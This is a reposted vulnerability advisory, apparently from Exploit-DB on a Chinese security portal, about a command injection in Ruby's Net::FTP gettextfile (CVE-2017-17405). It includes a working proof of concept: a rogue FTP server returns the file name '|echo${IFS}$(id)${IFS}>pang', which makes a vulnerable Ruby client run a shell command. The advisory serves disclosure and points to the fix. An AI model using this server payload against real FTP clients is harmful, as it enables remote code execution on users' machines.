首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ruby < 2.2.8 / < 2.3.5 / < 2.4.2 / < 2.5.0-preview1 - 'NET::Ftp' Command Injecti
来源:https://hackerone.com/ 作者:Stalmans 发布时间:2017-12-22  
While using NET::Ftp I realised you could get command execution through "malicious" file names.
 
The problem lies in the `gettextfile(remotefile, localfile = File.basename(remotefile))` method.
When looking at the source code, you'll note:
 
```
def gettextfile(remotefile, localfile = File.basename(remotefile),
                &block) # :yield: line
  f = nil
  result = nil
  if localfile
    f = open(localfile, "w") # Vulnerable code here. open("| os command","w")
  elsif !block_given?
    result = String.new
  end
```
 
The `localfile` value will trigger command execution if the value is `| os command`. In general use, most users would likely provide their own localfile value and would not rely on the default of `File.basename(remotefile)`; however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either `ls -l` style for the `LIST` command, or filenames for `NLIST`), there is no need/guarantee that filename will be a valid filename.
 
I have attached a sample server that can be used to trigger this vulnerability, as well as a sample client which is vulnerable.
 
## Usage:
Change the `host` and `port` values in both //ftpserver.rb// and //client.rb//
 
Start the server: `ruby ftpserver.rb`
Run the client: `ruby client.rb`
 
Observe that a new file has been created in the CWD of the //client.rb//. The file will be called `pang` and contain the output of the `id` command. As seen in screenshot1.png
 
The provided attack example is a little contrived and assumes the user is accepting the file names provided by the server, rather than their own. However, since there is no clear indication in the documentation or an expectation that filenames could lead to RCE, users may be caught unaware. It would probably be best to not use `open` in NET::Ftp, but rather something like `File.open`, maintaining both expected behaviour and security.
 
## Impact
Remote code execution through command injection. As a user of the NET::Ftp is expecting normal file creation behaviour, they might not be sanitising file paths.
 
--cilent.rb--
```
require 'net/ftp'
host = '172.17.0.4'
port = 2121
 
Net::FTP.const_set('FTP_PORT',port)
Net::FTP.open(host) do |ftp|
  ftp.login
  fileList = ftp.nlst('*')
  fileList.each do |file|
        ftp.gettextfile(file)
  end
end
```
--cilent.rb--
 
- - -
 
--ftpserv.rb--
```
require 'socket'
host = '172.17.0.4'
port = 2121
hostsplit = host.tr('.',',')
 
server = TCPServer.new port
 
loop do
  Thread.start(server.accept) do |client|
    client.puts "220 Attack FTP\r\n"
    r = client.gets
    puts r
    client.puts "331 password please - version check\r\n"  
    r = client.gets
    puts r
    client.puts "230 User logged in\r\n"
    r = client.gets
    puts r
    client.puts "230 more data please!\r\n"
    r = client.gets
    puts r
    client.puts "230 more data please!\r\n"
    r = client.gets
    puts r
 
    wait = true
    psv = Thread.new do
        pserver = TCPServer.new 23461
        Thread.start(pserver.accept) do |pclient|
            while wait do
            end
            pclient.puts "|echo${IFS}$(id)${IFS}>pang\r\n"
            pclient.close
        end
    end
 
    sleep 1
 
    client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)\r\n"
    r = client.gets
    puts r
 
    psv.join
 
    client.puts "150 Here comes the directory listing.\r\n"
    
    wait = false
 
    client.puts "226 Directory send OK.\r\n"
    r = client.gets
    puts r
    client.puts "221 goodbye\r\n"  
    client.close
  end
end
```
--ftpserv.rb--
 
- - -
E-DB Note: https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/
E-DB Nte: https://hackerone.com/reports/294462
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel >= 4.9 eBPF memor
·Cisco IOS 12.2 < 12.4 / 15.0 <
·Microsoft Windows Kernel - 'Nt
·Technicolor DPC3928SL - SNMP A
·Ability Mail Server 3.3.2 - Cr
·Fortinet FortiGate 4.x < 5.0.7
·Samsung Internet Browser - SOP
·Netcore / Netis Routers - UDP
·Palo Alto Networks PAN-OS Cook
·Xbox 360 Aurora 0.6b Default C
·Tuleap 9.6 Second-Order PHP Ob
·Trend Micro Smart Protection S
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved